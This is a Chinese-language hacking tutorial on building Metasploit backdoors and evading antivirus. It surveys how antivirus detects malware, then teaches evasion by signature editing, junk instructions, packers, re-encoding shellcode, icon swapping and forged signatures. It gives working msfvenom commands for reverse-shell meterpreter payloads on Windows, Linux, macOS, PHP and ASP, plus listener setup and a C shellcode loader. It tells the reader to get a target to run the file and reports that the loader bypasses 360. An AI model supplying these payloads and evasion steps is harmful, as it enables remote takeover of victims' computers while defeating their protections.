MSF后门生成及免杀思想
免杀概念杀毒软件检测方式杀毒软件主动防御免杀技术介绍修改特征码花指令免杀内存免杀加壳免杀二次编译资源修改MSF常用命令常见的木马生成常见后门生成方式编译软件VC++6.0免杀MSF免杀模块免杀概念
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
杀毒软件检测方式
1、特征代码法:“同一病毒或同类病毒的某一部分代码相同”的原理来识别病毒文件。该技术是利用留在受感染文件中的病毒特征值进行检测。发现新病毒后,对其进行分析,根据其特征编成病毒码,加入到数据库中。今后在执行查毒程序时,通过对比文件与病毒数据库中的病毒特征码,检查文件是否含有病毒。
2、校验和法:此法计算文件的校验和并保存,可定期或调用文件时进行对比,从而判断文件是否被病毒感染。
3、行为监测法:此法根据病毒的行为特征来识别病毒,这需要对病毒行为进行详细的分类和研究,分析那些病毒共同的行为,以及正常程序的罕见行为,根据程序运行时的行为进行病毒判断和预警。
4、软件模拟法:这种方法通过模拟病毒运行的方式来检测病毒特征。
杀毒软件主动防御
HIPS(主机入侵防御系统),常说的安全防护就是HIPS,其实就是杀毒软件会监控进程、流量,再和病毒库匹配,以及对不认识的文件上传到服务器进行模拟运行,研判是否是病毒,然后指导杀毒软件进行行为监控或者处理。
免杀技术介绍
修改特征码
免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。(特征码:能识别一个程序是病毒的一段不大于64字节的特征串)
第一种是改特征码,这也是免杀的最初方法。例如一个文件在某一个地址内有“灰鸽子上线成功!”这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了,如果是无关痛痒的,直接将其删掉也未尝不可
第二种是针对目前推出的校验和查杀技术提出的免杀思想,它的原理虽然仍是特征码,但是已经脱离纯粹意义上特征码的概念,不过万变不离其宗。其实校验和也是根据病毒文件中与众不同的区块计算出来的,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。
花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,否则会对反病毒软件的效率产生严重的影响!而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。
内存免杀
CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀
加壳免杀
软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件的所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序
加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。
面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。
二次编译
metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
资源修改
有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。
1、加资源
使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。
2、替换资源
使用ResHacker替换无用的资源(Version等)。
3、加签名
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
MSF常用命令
-p
指定payload模块
-l
列出可用项
-f
指定文件类型
-e
加载编码器
-b
删除无效字符
-i
指定编码次数
-x
捆绑文件
-o
导出文件
常见的木马生成
生成一个常见木马文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.XXX lport=1250 -f exe > 66.exe
生成木马之后,我们要监听这个端口,输入msfconsole
,然后输入use exploit/ multi/handler
,回车运行之后会默认生成一个payload,但是我们要重新把这个payload设置为我们之前生成的那个木马的payload,输入set payload windows/meterpreter/reverse_tcp
,然后再输入options
来查看我们需要设置的选项
将lhost和lport设置为我们生成木马的时候的lhost和lport,然后输入run
进行攻击,然后只需要让刚才生成的exe文件让目标点击,运行就行了
常见后门生成方式
1、Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –p windows/x64/meterpreter/reverse_tcp –f exe –o
C:\back.exe
2、Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3、 MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
4、PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT =1520 -f raw > shell.php
5.、Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
6、Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
编译软件VC++6.0免杀
我们通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.xxx lport=1250 -f c
来生成一个c语言的编码文件
生成之后打开VC++6.0,点击文件,点击新建,选择Win32 application或者Win32 console application,点击确定,点击一个简单的win32程序,点击完确定以后,在左下角找到fileview,点击你刚才创建的工程名字files,然后点击source files,双击工程名字.cpp,将下列代码粘贴到下图的红色区域,将原本的代码删除掉
#include "stdafx.h"#include <stdio.h>#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")unsigned char buf[] =(这里放生成好的数组)main(){((void(*)(void))&buf)();}
然后将刚才生成的那段c语言的编码,粘贴到这里放生成好的数组
那里
然后点击stdfafx.cpp,点击组建,点击编译,如果在下方显示0errors,我们再继续编译1114.cpp
1114.cpp编译完之后,没有出错的话,我们点击组建,再点击组建,然后就生成了一个exe的后门文件,这个文件默认在C:\Program Files (x86)\Microsoft Visual Studio\MyProjects\1114\Debug
,然后我们使用360查杀
可以看到绕过了360,不过没绕过火绒
如果没绕过的话,可以再添加一些垃圾指令,进入VC++6.0,点击文件,点击新建,选择资源脚本或者文本文件或者其他,然后勾选添加到工程,文件名随便你起,点击确定,编译一下你刚才的那个文件,然后点击组建,你会在刚才的exe文件的那个文件夹里面看到一个xx.res的文件,然后那个exe文件也变大了,这也是一种免杀思想。
MSF免杀模块
我们输入msfconsole
,打开msf,输入show evasion
来查看免杀模块,输入use evasion/windows/windows_defender_exe
来选中这个模块,然后他会默认生成一个payload,我们输入options
来查看需要设置哪些选项,设置完之后输入run
,他会把生成的exe文件的路径返回给你,打开那个文件夹,就会看到生成的exe文件,还有其他的模块各位兄弟可以自己试试看,输入info 模块名
就可以查看具体的使用方法了